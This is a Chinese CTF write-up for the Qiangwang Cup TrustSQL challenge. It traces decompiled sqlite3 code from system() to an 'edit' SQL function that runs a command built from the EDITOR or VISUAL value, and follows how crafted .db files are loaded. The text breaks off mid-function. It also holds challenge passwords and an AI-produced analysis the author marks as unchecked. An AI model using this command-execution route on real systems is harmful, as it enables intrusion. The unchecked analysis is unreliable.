文章总结: 该文档分析了强网杯S9线下赛TrustSQL题目的解题思路,重点是通过逆向分析sqlite3二进制文件发现后门函数,利用环境变量EDITOR触发system命令执行。文章详细描述了从system函数回溯调用链、分析恶意.db文件加载机制的过程,并提供了具体的漏洞利用方法和调试技巧。 综合评分: 72 文章分类: 漏洞分析,CTF,逆向分析,二进制安全,实战经验
强网杯S9 线下赛 RealWorld TrustSQL & AWDU Pwn 题解
赛查查
2026年4月29日 17:26 北京
在小说阅读器读本章
去阅读
以下文章来源于SanDieg0 ,作者ziran & hellor
SanDieg0 .
圣地亚哥皮蛋战队技术分享
#
谁懂晚上补wp,明天还要出6点早操的感觉。。。。
1、强网杯2025赛题 链接: https://pan.baidu.com/s/11tf5X-WLiHr7iaxw7P10zQ?pwd=v4jw 提取码: v4jw ,百度网盘中内容和U盘中内容相同。RW题目的压缩包密码:qwb2025_433db40863f4297994e976ae96c78344 ,AWDU-fox题目的压缩包密码qwb2025_0beada07e3af90ad163525043a08a425
2、monotint 题目在展示机中的cpu环境为intel 14gen ,且为降低利用难度,允许选手自行选择可证明自己完成任意代码执行的演示方式。WhatIf题目虚拟机密码为nguyen2002
TrustedSQL
题目要求
1) 恢复虚拟机快照到初始状态;
2) 检查虚拟机IP,并告知选手;
3) 协助选手调通网络,在虚拟机中从选手的HTTP服务器上,下载数据库文件malicious.db;
4) 执行/home/qwb/sqlite3 malicious.db加载选手的malicious.db;
5) 在sqlite3中依次执行PRAGMA trusted_schema = ON; select users from qwbDB;
6) 在规定时间内可以配合选手多次加载malicious.db并执行特定查询命令,也可以配合选手重启虚拟机;
7) 攻击成功或超时后:关闭虚拟机、回复虚拟机快照到初始状态。
吐槽一下
这里是题目的要求,看着比较复杂,其实的就是让其执行db文件的时候自动解析的时候执行我们想要的指令的就行,和webpwn的http的协议封装有一种差不多的感觉,构造post和get请求来选择不同的分支,调试的话也是差不多的
做这些题目,感觉对Ubuntu22及其以下版本的环境充满了恶意,幸亏是备用了一个Ubuntu24的,减去了起docker的麻烦的一步
白天的话做了一个smile和note,都非常复杂,但是漏洞点给出的都是高危漏洞,找到的话利用起来难度不是特别特别大,那个box的rust纯恶心的,通宵逆了一晚上都没逆完,感觉比起来那些程序简单,但是把条件限制的非常死,现实中不存在多此一举的限制那些实在多了
题目解析
我重命名函数的ida找不到了,直接用剔除函数名的看一下链子的分析
这个题目一开始是想去找CVE利用链的,结果看了看版本是2025年11月2号的好像,感觉没什么CVE,应该是出题特意设定了一段指令执行。然后又是db文件,我想了想我是出题人,我设计的话想要执行rop链,难度会不容易,假如说不限制db文件和查询指令的话,rop链的执行是有可能的
所以说直接看一下system,和做CSnote一个思路,note是从字符串追踪程序流的,我们这个的话从system追踪程序流
我们先大致确定链子调用流和需要满足的条件,具体的如何满足的先暂时放放,先确定思路的可行性
链末函数的分析
LABEL_13:
command = (const char *)sub_A5610((unsigned int)"%s \"%s\"", env_1, (_DWORD)filename, v15, v16, v17);
command_1 = command;
if ( command )
{
v25 = system(command);
p_sub_54D00(command_1);
if ( v25 )
{
ptr_5 = 0;
sub_7A970(a1, "EDITOR returned non-zero", 0xFFFFFFFFLL);
}
else
然后我们发现了后门函数,并且追踪到了这个片段,说明我们一开始的想法大致上是正确的
unsigned __int64 __fastcall sub_212A0(__int64 a1, int n2, _QWORD *a3)
{
char *env; // rax
int env_1; // r12d
__int64 v7; // rax
int n4; // r14d
FILE *s_1; // r13
int n_6; // eax
__int64 n_7; // r15
constchar *haystack; // rdi
constvoid *ptr_4; // rax
size_t n_8; // rbx
int v15; // ecx
int v16; // r8d
int v17; // r9d
_BYTE *ptr_5; // rbx
FILE *s; // r13
size_t n_1; // r15
constvoid *ptr; // rax
size_t n_2; // rbx
constchar *command; // rax
constchar *command_1; // rbx
int v25; // r12d
FILE *stream; // rax
FILE *stream_1; // r13
signed __int64 n_3; // r12
_BYTE *ptr_1; // rax
signed __int64 n_5; // r15
signed __int64 n_9; // rdx
signed __int64 n_4; // rax
char n10; // cl
__int64 env_2; // rax
int v36; // edx
int v37; // ecx
int v38; // r8d
int v39; // r9d
_BYTE *ptr_6; // rax
_BYTE *ptr_3; // rsi
_BYTE *ptr_2; // rsi
size_t n; // [rsp+0h] [rbp-68h]
size_t na; // [rsp+0h] [rbp-68h]
_BOOL4 v45; // [rsp+Ch] [rbp-5Ch]
char *filename; // [rsp+18h] [rbp-50h] BYREF
__int64 v47; // [rsp+20h] [rbp-48h] BYREF
unsigned __int64 v48; // [rsp+28h] [rbp-40h]
v48 = __readfsqword(0x28u);
filename = 0;
if ( n2 == 2 )
{
env_2 = sub_78E50(a3[1]);
env_1 = env_2;
if ( env_2 )
{
LABEL_3:
if ( (unsignedint)sub_4DD70(*a3) == 5 )
{
sub_7A970(a1, "NULL input to edit()", 0xFFFFFFFFLL);
return v48 - __readfsqword(0x28u);
}
v7 = sub_4DDE0(a1);
filename = 0;
sub_69870(v7, 0, 16, &filename);
if ( !filename )
{
v47 = 0;
sub_ADB10(8, &v47);
filename = (char *)sub_A5610((unsignedint)"temp%llx", v47, v36, v37, v38, v39);
if ( !filename )
{
sub_6F350(a1);
return v48 - __readfsqword(0x28u);
}
}
n4 = sub_4DD70(*a3);
if ( n4 == 4 )
{
s = fopen64(filename, "wb");
if ( s )
{
n_1 = (int)sub_78CD0(*a3);
ptr = (constvoid *)sub_79710(*a3);
v45 = 0;
n_2 = fwrite(ptr, 1u, n_1, s);
fclose(s);
if ( n_2 != n_1 )
{
LABEL_10:
ptr_5 = 0;
sub_7A970(a1, "edit() could not write the whole file", 0xFFFFFFFFLL);
LABEL_39:
unlink(filename);
p_sub_54D00(filename);
p_sub_54D00(ptr_5);
return v48 - __readfsqword(0x28u);
}
LABEL_13:
command = (constchar *)sub_A5610((unsignedint)"%s \"%s\"", env_1, (_DWORD)filename, v15, v16, v17);
command_1 = command;
if ( command )
{
v25 = system(command);
p_sub_54D00(command_1);
if ( v25 )
{
ptr_5 = 0;
sub_7A970(a1, "EDITOR returned non-zero", 0xFFFFFFFFLL);
}
else
{
stream = fopen64(filename, "rb");
stream_1 = stream;
if ( stream )
{
fseek(stream, 0, 2);
n_3 = ftell(stream_1);
rewind(stream_1);
ptr_1 = (_BYTE *)sub_A36C0(n_3 + 1);
ptr_5 = ptr_1;
if ( ptr_1 )
{
n_5 = n_3;
na = fread(ptr_1, 1u, n_3, stream_1);
fclose(stream_1);
if ( n_3 == na )
{
if ( n4 == 4 )
{
ptr_2 = ptr_5;
ptr_5 = 0;
sub_7C460(a1, ptr_2, n_3, p_sub_54D00);
}
else
{
if ( !v45 )
{
ptr_5[n_3] = 0;
if ( n_3 <= 0 )
{
ptr_6 = ptr_5;
n_5 = 0;
}
else
{
n_9 = 0;
for ( n_4 = 0; n_4 < n_3; ++n_4 )
{
n10 = ptr_5[n_4];
if ( n10 == 13 && ptr_5[n_4 + 1] == 10 )
{
++n_4;
n10 = 10;
}
ptr_5[n_9++] = n10;
n_5 = n_9;
}
ptr_6 = &ptr_5[n_9];
}
*ptr_6 = 0;
}
ptr_3 = ptr_5;
ptr_5 = 0;
sub_7CE00(a1, ptr_3, n_5, p_sub_54D00, 1);
}
}
else
{
sub_7A970(a1, "could not read back the whole file", 0xFFFFFFFFLL);
}
}
else
{
ptr_5 = 0;
sub_6F350(a1);
fclose(stream_1);
}
}
else
{
ptr_5 = 0;
sub_7A970(a1, "edit() cannot reopen temp file after edit", 0xFFFFFFFFLL);
}
}
}
else
{
ptr_5 = 0;
sub_6F350(a1);
}
goto LABEL_39;
}
}
else
{
s_1 = fopen64(filename, "w");
if ( s_1 )
{
n_6 = sub_78CD0(*a3);
n = n_6;
n_7 = n_6;
haystack = (constchar *)sub_78E50(*a3);
if ( haystack )
v45 = strstr(haystack, "\r\n") != 0;
else
v45 = 0;
ptr_4 = (constvoid *)sub_78E50(*a3);
n_8 = fwrite(ptr_4, 1u, n, s_1);
fclose(s_1);
if ( n_8 != n_7 )
goto LABEL_10;
goto LABEL_13;
}
}
ptr_5 = 0;
sub_7A970(a1, "edit() cannot open temp file", 0xFFFFFFFFLL);
goto LABEL_39;
}
}
else
{
env = getenv("VISUAL");
env_1 = (int)env;
if ( env )
goto LABEL_3;
}
sub_7A970(a1, "no editor for edit()", 0xFFFFFFFFLL);
return v48 - __readfsqword(0x28u);
}
这个函数的话是在sub_212A0这个位置上
我们想要走到system的话,需要满足这个条件
if ( n4 == 4 )
{
s = fopen64(filename, "wb");
if ( s )
{
n_1 = (int)sub_78CD0(*a3);
ptr = (constvoid *)sub_79710(*a3);
v45 = 0;
n_2 = fwrite(ptr, 1u, n_1, s);
fclose(s);
if ( n_2 != n_1 )
{
LABEL_10:
ptr_5 = 0;
sub_7A970(a1, "edit() could not write the whole file", 0xFFFFFFFFLL);
LABEL_39:
unlink(filename);
p_sub_54D00(filename);
p_sub_54D00(ptr_5);
return v48 - __readfsqword(0x28u);
}
LABEL_13:
command = (constchar *)sub_A5610((unsignedint)"%s \"%s\"", env_1, (_DWORD)filename, v15, v16, v17);
command_1 = command;
if ( command )
{
v25 = system(command);
p_sub_54D00(command_1);
if ( v25 )
{
ptr_5 = 0;
sub_7A970(a1, "EDITOR returned non-zero", 0xFFFFFFFFLL);
}
else
{
stream = fopen64(filename, "rb");
stream_1 = stream;
前面的话也需要满足
if ( n2 == 2 )
{
env_2 = sub_78E50(a3[1]);
env_1 = env_2;
if ( env_2 )
{
LABEL_3:
if ( (unsignedint)sub_4DD70(*a3) == 5 )
{
sub_7A970(a1, "NULL input to edit()", 0xFFFFFFFFLL);
return v48 - __readfsqword(0x28u);
}
v7 = sub_4DDE0(a1);
filename = 0;
sub_69870(v7, 0, 16, &filename);
if ( !filename )
{
v47 = 0;
sub_ADB10(8, &v47);
filename = (char *)sub_A5610((unsignedint)"temp%llx", v47, v36, v37, v38, v39);
if ( !filename )
{
sub_6F350(a1);
return v48 - __readfsqword(0x28u);
}
}
不能提前退出,n2变量的条件也需要满足,n2是第二个参数
倒二链函数的分析
我们暂且将链末函数明明为vuln
sub_99380(*a1, (unsigned int)"strtod", 1, 1, 0, (unsignedint)sub_21760, 0, 0);
sub_99380(*a1, (unsignedint)"dtostr", 1, 1, 0, (unsignedint)sub_19CC0, 0, 0);
sub_99380(*a1, (unsignedint)"dtostr", 2, 1, 0, (unsignedint)sub_19CC0, 0, 0);
sub_99380(*a1, (unsignedint)"shell_add_schema", 3, 1, 0, (unsignedint)sub_2E0E0, 0, 0);
sub_99380(*a1, (unsignedint)"shell_module_schema", 1, 1, (_DWORD)a1, (unsignedint)sub_2E020, 0, 0);
sub_99380(*a1, (unsignedint)"shell_putsnl", 1, 1, (_DWORD)a1, (unsignedint)sub_1DE40, 0, 0);
sub_99380(*a1, (unsignedint)"usleep", 1, 1, 0, (unsignedint)sub_20070, 0, 0);
sub_99380(*a1, (unsignedint)"edit", 1, 1, 0, (unsignedint)vuln, 0, 0);
sub_99380(*a1, (unsignedint)"edit", 2, 1, 0, (unsignedint)vuln, 0, 0);
n4 = *((_BYTE *)a1 + 13);
我们通过追踪看懂啊,sub_99380这里是调用了vuln的函数
贴一下这个的整体函数
__int64 __fastcall sub_3E7B0(_QWORD *a1, _QWORD *a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
__int64 v7; // rdi
__int64 n6_1; // rdx
char v10; // bp
int n3; // ecx
constchar *v12; // r12
unsignedint v13; // eax
int n6_2; // eax
bool v15; // zf
__int64 v16; // rcx
__int64 v17; // rdi
int v18; // r8d
int v19; // r9d
constchar *v20; // rax
__int64 v21; // rdx
__int64 v22; // rcx
__int64 v23; // r8
__int64 v24; // r9
int v25; // ebp
int v26; // r8d
int v27; // r9d
int v28; // r8d
int v29; // r9d
__int64 v30; // rbp
char n4; // al
int n6; // eax
__int64 v33; // rbp
__int64 v34; // rdx
int v35; // eax
__int64 v36; // rax
__int64 v37; // rbp
int n3_1; // eax
int v39; // [rsp-10h] [rbp-48h]
int v40; // [rsp-8h] [rbp-40h]
int v41; // [rsp+4h] [rbp-34h] BYREF
unsigned __int64 v42; // [rsp+8h] [rbp-30h]
v7 = *a1;
v42 = __readfsqword(0x28u);
if ( !v7 )
{
n6_1 = *((unsignedint *)a1 + 16);
v10 = (char)a2;
n3 = *((unsigned __int8 *)a1 + 13);
v12 = *(constchar **)(a1[570] + 8LL);
v13 = *((_DWORD *)a1 + 16);
if ( !(_BYTE)n3 )
{
if ( !v12 || !*v12 )
{
*((_BYTE *)a1 + 13) = 1;
if ( (n6_1 & 3) != 0 )
{
LABEL_33:
a2 = a1;
sub_F8F10(v12, a1, v13, 0);
goto LABEL_14;
}
n6 = 6;
if ( (_DWORD)n6_1 )
n6 = n6_1 | 2;
*((_DWORD *)a1 + 16) = n6;
LABEL_32:
v13 = *((_DWORD *)a1 + 16);
goto LABEL_33;
}
a2 = (_QWORD *)(((unsignedint)a2 >> 1) & 1);
n3_1 = sub_3E500(*(char **)(a1[570] + 8LL));
n6_1 = *((unsignedint *)a1 + 16);
*((_BYTE *)a1 + 13) = n3_1;
n3 = n3_1;
}
if ( (n6_1 & 3) == 0 )
{
n6_2 = n6_1 | 2;
v15 = (_DWORD)n6_1 == 0;
n6_1 = 6;
if ( v15 )
n6_2 = 6;
*((_DWORD *)a1 + 16) = n6_2;
}
if ( (_BYTE)n3 == 3 )
{
a2 = a1;
sub_F8F00(":memory:", a1);
goto LABEL_14;
}
if ( (unsigned __int8)n3 > 3u )
{
v16 = (unsignedint)(n3 - 4);
if ( (unsigned __int8)v16 <= 1u )
{
a2 = a1;
sub_F8F00(0, a1);
}
LABEL_14:
v17 = *a1;
if ( *a1 )
{
if ( !(unsignedint)sub_9CAA0(v17, a2, n6_1, v16, a5, a6) )
goto LABEL_21;
v17 = *a1;
}
v20 = (constchar *)sub_9CD90(v17);
__fprintf_chk(stderr, 2, "Error: unable to open database \"%s\": %s\n", v12, v20);
if ( (v10 & 1) != 0 )
{
sub_D4D50(*a1);
sub_F8F00(":memory:", a1);
if ( *a1 && !(unsignedint)sub_9CAA0(*a1, a1, v21, v22, v23, v24) )
{
__fprintf_chk(stderr, 2, "Notice: using substitute in-memory database instead of \"%s\"\n", v12);
LABEL_21:
qword_197BD0 = *a1;
sub_595D0(qword_197BD0, 1018, 0, 0, v18, v19);
v25 = *((_DWORD *)a1 + 35) & 0x400;
sub_595D0(*a1, 1017, v25 != 0, 0, v26, v27);
sub_595D0(*a1, 1010, v25 == 0, 0, v28, v29);
sub_A2570(*a1, 1);
sub_364D0(*a1, 0, 0);
sub_36390(*a1, 0, 0);
sub_998D0(*a1, "uint", 1, 0, sub_18830);
sub_39730(*a1, 0, 0);
sub_36590(*a1, 0, 0);
sub_99380(*a1, (unsignedint)"base64", 1, 2623489, 0, (unsignedint)sub_1A060, 0, 0);
sub_99380(*a1, (unsignedint)"base85", 1, 2623489, 0, (unsignedint)sub_26E20, 0, 0);
sub_367A0(*a1, 0, 0);
sub_366F0(*a1, 0, 0);
v30 = *a1;
sub_4F5B0();
sub_74E80(v30, "generate_series", &unk_193640, 0);
sub_36810(*a1, 0, 0);
sub_74E80(*a1, "completion", &unk_193560, 0);
if ( !*((_BYTE *)a1 + 18) )
{
v33 = *a1;
if ( !(unsignedint)sub_74E80(*a1, "zipfile", &unk_193240, 0)
&& !(unsignedint)sub_AB690(v33, "zipfile_cds", 0xFFFFFFFFLL) )
{
sub_99380(v33, (unsignedint)"zipfile", -1, 1, 0, 0, (__int64)sub_2E980, (__int64)sub_24C50);
}
sub_369F0(*a1, 0, 0);
}
sub_99380(*a1, (unsignedint)"strtod", 1, 1, 0, (unsignedint)sub_21760, 0, 0);
sub_99380(*a1, (unsignedint)"dtostr", 1, 1, 0, (unsignedint)sub_19CC0, 0, 0);
sub_99380(*a1, (unsignedint)"dtostr", 2, 1, 0, (unsignedint)sub_19CC0, 0, 0);
sub_99380(*a1, (unsignedint)"shell_add_schema", 3, 1, 0, (unsignedint)sub_2E0E0, 0, 0);
sub_99380(*a1, (unsignedint)"shell_module_schema", 1, 1, (_DWORD)a1, (unsignedint)sub_2E020, 0, 0);
sub_99380(*a1, (unsignedint)"shell_putsnl", 1, 1, (_DWORD)a1, (unsignedint)sub_1DE40, 0, 0);
sub_99380(*a1, (unsignedint)"usleep", 1, 1, 0, (unsignedint)sub_20070, 0, 0);
sub_99380(*a1, (unsignedint)"edit", 1, 1, 0, (unsignedint)vuln, 0, 0);
sub_99380(*a1, (unsignedint)"edit", 2, 1, 0, (unsignedint)vuln, 0, 0);
n4 = *((_BYTE *)a1 + 13);
if ( n4 == 3 )
{
v36 = sub_A5610((unsignedint)"CREATE VIRTUAL TABLE zip USING zipfile(%Q);", (_DWORD)v12, v39, v40, a5, a6);
v37 = v36;
if ( !v36 )
sub_1F3D0();
sub_103B70(*a1, v36, 0, 0, 0);
p_sub_54D00(v37);
}
elseif ( (unsigned __int8)(n4 - 4) <= 1u )
{
v41 = 0;
if ( n4 == 4 )
v34 = sub_1F120(v12, &v41);
else
v34 = sub_26770(a1, &v41);
if ( !v34 )
return v42 - __readfsqword(0x28u);
v35 = sub_12A5E0(*a1, "main", v34, v41, v41, 3);
if ( v35 )
__fprintf_chk(stderr, 2, "Error: sqlite3_deserialize() returns %d\n", v35);
if ( (__int64)a1[19] > 0 )
sub_69870(*a1, "main", 36, a1 + 19);
}
v7 = *a1;
if ( *a1 )
goto LABEL_2;
return v42 - __readfsqword(0x28u);
}
fwrite("Also: unable to open substitute in-memory database.\n", 1u, 0x34u, stderr);
}
exit(1);
}
if ( (_BYTE)n3 == 2 )
{
a2 = a1;
sub_F8F10(v12, a1, *((unsignedint *)a1 + 16), "apndvfs");
goto LABEL_14;
}
goto LABEL_32;
}
LABEL_2:
if ( *((_BYTE *)a1 + 18) )
sub_4E610(v7, sub_25FF0, a1);
return sub_595D0(*a1, 1018, *((unsigned __int8 *)a1 + 12), 0, a5, a6);
}
我们可以看到这个函数的地址是sub_3E7B0,进入这个函数的话我们首先需要让choice>=3
我们这个时候点击为这个n赋值的函数追踪一下
__int64 __fastcall sub_3E500(char *filename, int a2, unsigned int a3)
{
unsignedint n2; // ebx
FILE *stream_1; // rax
FILE *stream; // r13
size_t v8; // rax
int v10; // eax
__int64 v11; // rdi
int n100; // eax
__int64 v13; // [rsp+0h] [rbp-A8h] BYREF
__int64 v14; // [rsp+8h] [rbp-A0h] BYREF
__int64 ptr; // [rsp+10h] [rbp-98h] BYREF
__int64 v16; // [rsp+18h] [rbp-90h]
char n45; // [rsp+20h] [rbp-88h]
unsigned __int64 v18; // [rsp+78h] [rbp-30h]
v18 = __readfsqword(0x28u);
v13 = 0;
v14 = 0;
if ( access(filename, 0) )
{
LABEL_2:
if ( a2 && !(unsignedint)sub_59BF0("%.zip", (size_t)filename) )
return3;
return1;
}
n2 = 0;
if ( (unsignedint)sub_F8F10(filename, &v13, a3, 0) )
{
sub_D4D70(v14);
sub_D4D50(v13);
}
else
{
v10 = sub_118810(v13, "SELECT count(*) FROM sqlite_schema", 0xFFFFFFFFLL, &v14, 0);
v11 = v14;
if ( !v10 )
{
n100 = sub_103140(v14);
v11 = v14;
if ( n100 == 100 )
{
sub_D4D70(v14);
sub_D4D50(v13);
return1;
}
}
sub_D4D70(v11);
sub_D4D50(v13);
}
stream_1 = fopen64(filename, "rb");
stream = stream_1;
if ( !stream_1 )
goto LABEL_2;
if ( fread(&ptr, 0x10u, 1u, stream_1) != 1 || v16 ^ 0x332074616D726FLL | ptr ^ 0x66206574694C5153LL )
{
fseek(stream, -25, 2);
if ( fread(&ptr, 0x19u, 1u, stream) == 1 && !(v16 ^ 0x336574694C51532DLL | ptr ^ 0x664F2D7472617453LL) && n45 == 45 )
{
n2 = 2;
}
else
{
fseek(stream, -22, 2);
v8 = fread(&ptr, 0x16u, 1u, stream);
if ( v8 == 1 )
{
if ( (_BYTE)ptr != 80 || *(_WORD *)((char *)&ptr + 1) != 1355 || BYTE3(ptr) != 6 )
goto LABEL_17;
}
elseif ( v8 || !a2 || (unsignedint)sub_59BF0("%.zip", (size_t)filename) )
{
goto LABEL_17;
}
n2 = 3;
}
LABEL_17:
fclose(stream);
return n2;
}
fclose(stream);
return1;
}
- 如果文件不存在,且
a2为真且文件不是”.zip”结尾,返回3- 如果文件不存在,且
a2为假或文件是”.zip”结尾,返回1- 如果文件存在,且文件内容匹配特定格式,返回1
- 如果文件存在,且文件内容匹配另一种格式,返回2
- 如果文件存在,且文件内容匹配另一种格式,返回3
上面这里的话是ai的简单的分析,当然没有以前聊天记录的支持,为了写wp重开的新对话正确性待考证,大体是这样
返回值>3的没看到,但是等于3的通过跳转label标签的分析看出这个流来
然后我们暂且将这个函数命名为vuln__
在这个函数中,我挨着看了一下里面其他的封装的函数,找到了一个初始化的函数
{
n6_2 = p_n6[0] | 0x20000;
}
p_n6[0] = n6_2 & 0xFFF600E7;
v10 = (_QWORD *)sub_589C0("/lib64/ld-linux-x86-64.so.2");
v15 = v10;
完整的函数如下
__int64 __fastcall sub_F86E0(const char *p_:memory:_1, _QWORD *a2, __int64 n6, signed __int64 p_RTRIM_6)
{
constchar *p_:memory:; // rbx
unsigned __int64 p_RTRIM; // rsi
unsignedint n7_1; // r12d
int v8; // r12d
unsignedint n6_2; // r14d
_QWORD *v10; // rax
constchar *p_temp; // rdx
__int64 v12; // rcx
__int64 v13; // r8
__int64 v14; // r9
_QWORD *v15; // rbp
__int64 v16; // rax
__m128i si128; // xmm0
int v18; // eax
__m128i v19; // xmm0
__m128i v20; // xmm0
__int64 v21; // rax
int n70; // eax
unsignedint p_RTRIM_1; // eax
int v24; // r8d
int v25; // r9d
__int64 v26; // rbx
char *v27; // rdx
__int64 v28; // rdi
__int64 v29; // rbx
unsignedint n7; // eax
unsignedint p_RTRIM_3; // eax
__int64 v33; // r14
__int64 v34; // rsi
__int64 v35; // r12
__int64 v36; // rdi
bool v37; // zf
__int64 v38; // rax
__int64 v39; // rdx
__int64 v40; // rcx
__int64 v41; // r8
__int64 v42; // r9
int v43; // eax
__int64 v44; // r14
__int64 v45; // r8
__int64 v46; // r9
__int64 v47; // rcx
__int64 v48; // rdx
unsignedint i; // r12d
__int64 v50; // rax
__int64 v51; // r15
__int64 v52; // rdi
__int64 v53; // rdi
_QWORD *v54; // rdi
_QWORD *v55; // rdi
__int64 (__fastcall *p_RTRIM_4)(_QWORD *, _QWORD *, __int64 (__fastcall **)()); // rax
unsignedint p_RTRIM_5; // eax
int v58; // r8d
int v59; // r9d
__int64 v60; // rdi
__int64 v61; // rsi
__int64 v62; // rax
__int64 v63; // rdx
signed __int64 p_RTRIM_2; // [rsp+0h] [rbp-68h] BYREF
_DWORD p_n6[3]; // [rsp+Ch] [rbp-5Ch] BYREF
__int64 v66; // [rsp+18h] [rbp-50h] BYREF
_QWORD v67[9]; // [rsp+20h] [rbp-48h] BYREF
p_:memory: = p_:memory:_1;
p_n6[0] = n6;
p_RTRIM_2 = p_RTRIM_6;
v67[1] = __readfsqword(0x28u);
*a2 = 0;
p_RTRIM = (unsignedint)::p_RTRIM;
*(_QWORD *)&p_n6[1] = 0;
v66 = 0;
if ( ::p_RTRIM )
{
_InterlockedOr64(&p_RTRIM_2, 0);
}
else
{
n7_1 = sub_53410();
if ( n7_1 )
return n7_1;
n7_1 = sub_A2DC0();
if ( n7_1 )
return n7_1;
}
v8 = 0;
n6_2 = p_n6[0];
if ( (_BYTE)word_193964 )
{
if ( (p_n6[0] & 0x8000) == 0 )
{
v8 = 1;
if ( (p_n6[0] & 0x10000) == 0 )
v8 = HIBYTE(word_193964);
}
}
if ( (p_n6[0] & 0x40000) != 0 )
{
n6_2 = p_n6[0] & 0xFFFDFFFF;
}
elseif ( dword_193AAC )
{
n6_2 = p_n6[0] | 0x20000;
}
p_n6[0] = n6_2 & 0xFFF600E7;
v10 = (_QWORD *)sub_589C0("/lib64/ld-linux-x86-64.so.2");
v15 = v10;
if ( !v10 )
{
LABEL_24:
v29 = *(_QWORD *)&p_n6[1];
goto LABEL_25;
}
*v10 = 0;
v10[98] = 0;
memset(
(void *)((unsigned __int64)(v10 + 1) & 0xFFFFFFFFFFFFFFF8LL),
0,
8LL * (((unsignedint)v10 - (((_DWORD)v10 + 8) & 0xFFFFFFF8) + 792) >> 3));
if ( v8 )
{
if ( !(_BYTE)word_193964 || (v16 = xmmword_1939D0(1), (v15[3] = v16) == 0) )
{
v55 = v15;
v15 = 0;
p_sub_54D00(v55);
v29 = *(_QWORD *)&p_n6[1];
goto LABEL_25;
}
xmmword_1939E0(v16);
}
si128 = _mm_load_si128((const __m128i *)&xmmword_15E950);
*((_BYTE *)v15 + 113) = 109;
*((_BYTE *)v15 + 101) = 1;
*((_BYTE *)v15 + 106) = -1;
*(__m128i *)(v15 + 17) = si128;
v18 = -((n6_2 & 0x2000000) != 0);
v19 = _mm_load_si128((const __m128i *)&xmmword_15E960);
LOBYTE(v18) = -1;
*((_WORD *)v15 + 206) = 0;
*((_DWORD *)v15 + 22) = v18;
*(__m128i *)(v15 + 19) = v19;
v20 = _mm_load_si128((const __m128i *)&xmmword_15E970);
v15[4] = v15 + 83;
*(__m128i *)((char *)v15 + 164) = v20;
v21 = qword_193A88;
*((_DWORD *)v15 + 10) = 2;
v15[8] = v21;
v15[25] = off_1956E0; // "ANY"
v15[6] |= 0x70804480E0uLL;
*((_DWORD *)v15 + 102) = 1;
*((_DWORD *)v15 + 45) = 0;
*((_DWORD *)v15 + 29) = 0;
v15[77] = 0;
v15[68] = 0;
*((_OWORD *)v15 + 39) = 0;
*(_OWORD *)(v15 + 69) = 0;
sub_995E0(v15, "BINARY", 1, 0, &sub_53D50, 0);
sub_995E0(v15, "BINARY", 3, 0, &sub_53D50, 0);
sub_995E0(v15, "BINARY", 2, 0, &sub_53D50, 0);
sub_995E0(v15, "NOCASE", 1, 0, sub_5CA70, 0);
p_RTRIM = (unsigned __int64)"RTRIM";
sub_995E0(v15, "RTRIM", 1, 0, &sub_53D90, 0);
if ( *((_BYTE *)v15 + 103) )
goto LABEL_22;
n70 = 70;
*((_DWORD *)v15 + 19) = n6_2 & 0xFFF600E7;
if ( !_bittest(&n70, n6_2 & 7) )
{
sub_97500(
21,
(unsignedint)"%s at line %d of [%.10s]",
(unsignedint)"misuse",
188364,
(unsignedint)"fb2c931ae597f8d00a37574ff67aeed3eced4e5547f9120744ae4bfa8e74527b",
v14,
p_RTRIM_2);
p_RTRIM = 21;
LABEL_19:
v26 = v66;
v27 = "%s";
if ( !v66 )
LODWORD(v27) = 0;
sub_8EFF0((_DWORD)v15, p_RTRIM, (_DWORD)v27, v66, v24, v25, p_RTRIM_2);
p_sub_54D00(v26);
goto LABEL_22;
}
if ( !p_:memory:_1 )
p_:memory: = ":memory:";
p_RTRIM_1 = sub_C9140(p_RTRIM_2, p_:memory:, p_n6, v15, &p_n6[1], &v66);
p_RTRIM = p_RTRIM_1;
if ( p_RTRIM_1 )
{
if ( p_RTRIM_1 == 7 && !*((_BYTE *)v15 + 103) && !*((_BYTE *)v15 + 104) )
{
LODWORD(p_RTRIM_2) = 7;
sub_6F2D0(v15);
p_RTRIM = (unsignedint)p_RTRIM_2;
}
goto LABEL_19;
}
v29 = *(_QWORD *)&p_n6[1];
p_RTRIM_3 = sub_D78E0(*v15, *(_QWORD *)&p_n6[1], v15, v15[4] + 8LL, 0, p_n6[0] | 0x100u);
p_RTRIM = p_RTRIM_3;
if ( p_RTRIM_3 )
{
if ( p_RTRIM_3 == 3082 )
p_RTRIM = 7;
*((_DWORD *)v15 + 20) = p_RTRIM;
sub_5F910(v15);
goto LABEL_22;
}
v33 = v15[4];
v34 = *(_QWORD *)(v33 + 8);
if ( *(_BYTE *)(v34 + 17) )
{
++*(_DWORD *)(v34 + 20);
if ( !*(_BYTE *)(v34 + 18) )
{
sub_5A1B0(v34);
v33 = v15[4];
}
}
*(_QWORD *)(v33 + 24) = sub_747E0(v15);
if ( !*((_BYTE *)v15 + 103) )
{
v61 = *(unsigned __int8 *)(*(_QWORD *)(v15[4] + 24LL) + 113LL);
*((_BYTE *)v15 + 100) = v61;
v62 = sub_74A30(v15, v61, "BINARY", 0);
v63 = v15[1];
for ( v15[2] = v62; v63; v63 = *(_QWORD *)(v63 + 16) )
*(_BYTE *)(v63 + 200) = *(_BYTE *)(v63 + 200) & 0xFC | 2;
}
v35 = v15[4];
v36 = *(_QWORD *)(v35 + 8);
if ( *(_BYTE *)(v36 + 17) )
{
v37 = (*(_DWORD *)(v36 + 20))-- == 1;
if ( v37 )
{
sub_4D850();
v35 = v15[4];
}
}
p_RTRIM = 0;
*(_QWORD *)(v35 + 56) = sub_747E0(v15);
v38 = v15[4];
*(_QWORD *)v38 = "main";
p_temp = "temp";
*(_BYTE *)(v38 + 16) = 3;
*(_QWORD *)(v38 + 32) = "temp";
*(_BYTE *)(v38 + 48) = 1;
v37 = *((_BYTE *)v15 + 103) == 0;
*((_BYTE *)v15 + 113) = 118;
if ( !v37 )
{
LABEL_22:
v28 = v15[3];
if ( v28 )
xmmword_1939F0(v28);
goto LABEL_24;
}
v37 = v15[49] == 0;
*((_DWORD *)v15 + 20) = 0;
if ( v37 )
*((_DWORD *)v15 + 21) = -1;
else
sub_5F910(v15);
p_RTRIM = (unsigned __int64)"MATCH";
if ( (unsignedint)sub_AB690(v15, "MATCH", 2) == 7 && !*((_BYTE *)v15 + 103) && !*((_BYTE *)v15 + 104) )
sub_6F2D0(v15);
v43 = sub_9CAA0(v15, "MATCH", v39, v40, v41, v42);
if ( v43 )
goto LABEL_89;
v44 = 1;
do
{
v43 = qword_191218[v44](v15);
LOBYTE(v47) = v43 == 0;
LOBYTE(v48) = (int)v44++ <= 6;
}
